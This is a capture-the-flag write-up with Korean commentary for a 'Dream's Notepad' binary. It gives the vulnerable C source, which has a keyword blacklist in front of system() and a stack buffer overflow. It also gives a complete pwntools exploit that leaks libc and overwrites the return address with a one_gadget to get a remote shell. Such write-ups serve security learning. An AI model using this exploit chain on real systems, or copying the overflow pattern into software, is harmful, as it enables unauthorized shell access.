code
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void Initalize(){
setvbuf(stdin, (char *)NULL, _IONBF, 0);
setvbuf(stdout, (char *)NULL, _IONBF, 0);
setvbuf(stderr, (char *)NULL, _IONBF, 0);
}
void main()
{
Initalize();
puts("Welcome to Dream's Notepad!\n");
char title[10] = {0,};
char content[64] = {0,};
puts("-----Enter the content-----");
read(0, content, sizeof(content) - 1);
for (int i = 0; content[i] != 0; i++)
{
if (content[i] == '\n')
{
content[i] = 0;
break;
}
}
if(strstr(content, ".") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "/") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, ";") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "*") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "cat") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "echo") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "flag") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "sh") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "bin") != NULL) {
puts("It can't be..");
return;
}
char tmp[128] = {0,};
sprintf(tmp, "echo %s > /home/Dnote/note", content);
system(tmp);
FILE* p = fopen("/home/Dnote/note", "r");
unsigned int size = 0;
if (p > 0)
{
fseek(p, 0, SEEK_END);
size = ftell(p) + 1;
fclose(p);
remove("/home/Dnote/note");
}
char message[256];
puts("\n-----Leave a message-----");
read(0, message, size - 1);
puts("\nBye Bye!!:-)");
}
message
에 overflow를 일으켜서 return address를 조작하면 될 것 같다.
contents
: [rbp-0x60]
temp
: [rbp-0xe0]
message
: [rbp-0x1e0]
- 여기서 포인트는
size
가 계속 0인 상태로 있어야 read를 크게 할 수 있다는 것이다. 따라서 /home/Dnote/note를 열지 못 하도록 해야 한다. system(tmp);
가 실행이 되지 않도록!
exploit
puts(read_got);
으로 libc base를 알아낸다. 그러고 다시 main으로 돌아가, libc_base로 구한 one_gadget
으로 return address을 덮어 쉘을 딴다.
- 쉘을 따자마자 플래그를 바로 찾을 수는 없을 거다.
from pwn import *
p = remote('host3.dreamhack.games', 14913)
e = ELF('./Notepad')
libc = ELF('libc.so')
og = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
puts_plt = e.plt['puts']
read_got = e.got['read']
pop_rdi = 0x400c73
p.sendlineafter(b'content-----\n', b'`')
msg = b'A' * 0x1e0 + b'B' * 0x8
msg += p64(pop_rdi) + p64(read_got)
msg += p64(puts_plt) + p64(e.symbols['main'])
p.sendlineafter(b'message-----\n', msg)
p.recvuntil(b'-)\n')
leak = u64(p.recvline()[:-1].ljust(8, b'\x00'))
lb = leak - libc.symbols['read']
one_gadget = lb + og[3]
log.info(hex(lb))
p.sendlineafter(b'content-----\n', b'`')
msg = b'A' * 0x1e0 + b'B' * 0x8
msg += p64(one_gadget)
p.sendlineafter(b'message-----\n', msg)
p.interactive()